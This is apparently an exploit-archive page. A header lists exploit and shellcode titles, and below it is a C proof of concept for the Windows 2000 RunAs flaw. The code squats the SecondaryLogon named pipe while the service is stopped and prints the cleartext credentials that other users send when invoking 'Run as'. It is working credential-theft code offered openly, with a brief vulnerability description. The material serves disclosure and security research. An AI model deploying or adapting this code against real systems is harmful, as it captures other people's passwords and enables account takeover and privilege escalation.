880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
69 lines
No EOL
2.1 KiB
C
69 lines
No EOL
2.1 KiB
C
// source: https://www.securityfocus.com/bid/3185/info
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The Windows 2000 RunAs service allows an application or service to be executed as a different user. It is accessed by holding down the shift key and right mouse clicking on an icon, then selecting 'Run as...' from the context menu.
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When the RunAs service is invoked, it creates a named pipe for client for communication of credentials (in cleartext).
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If the RunAs service is stopped, the attacker can create a named pipe with the same name to which credentials will be communicated when another user tries to use 'RunAs'.
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// radix1112200101.c - Camisade - Team RADIX - 11-12-2001
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//
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// Camisade (www.camisade.com) is not responsible for the use or
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// misuse of this proof of concept source code.
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#define WIN32_LEAN_AND_MEAN
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#define UNICODE
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#define _UNICODE
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#include <windows.h>
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#include <tchar.h>
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#include <stdio.h>
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#define MAX_IN_BUF 0x1000
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#define MAX_OUT_BUF 0x4
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#define MAX_INST 0xA
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#define SECONDARY_LOGON_PIPE _T("\\\\.\\pipe\\SecondaryLogon")
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void main()
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{
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HANDLE hPipe;
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hPipe = CreateNamedPipe(SECONDARY_LOGON_PIPE, PIPE_ACCESS_DUPLEX,
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PIPE_TYPE_BYTE|PIPE_WAIT, MAX_INST, MAX_OUT_BUF, MAX_IN_BUF,
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NMPWAIT_USE_DEFAULT_WAIT, 0);
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if (hPipe == INVALID_HANDLE_VALUE)
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{
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printf("Can't create secondary logon pipe. Error %d\n", GetLastError());
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return;
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}
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printf("Created pipe and waiting for clients...\n");
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if (ConnectNamedPipe(hPipe, 0))
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{
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UCHAR InBuf[MAX_IN_BUF];
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DWORD dwReadCount;
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while (ReadFile(hPipe, InBuf, MAX_IN_BUF, &dwReadCount, 0))
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{
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printf("Read %d bytes. (ASCII Dump)\n", dwReadCount);
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DWORD dwPos;
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for (dwPos = 0; dwPos < dwReadCount; dwPos++)
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{
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printf("%c ", InBuf[dwPos]);
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if ((dwPos % 16) == 0)
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printf("\n");
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}
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DWORD dwReply = ERROR_ACCESS_DENIED;
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DWORD dwWroteCount;
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WriteFile(hPipe, &dwReply, sizeof(DWORD), &dwWroteCount, 0);
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}
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}
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DisconnectNamedPipe(hPipe);
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CloseHandle(hPipe);
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} |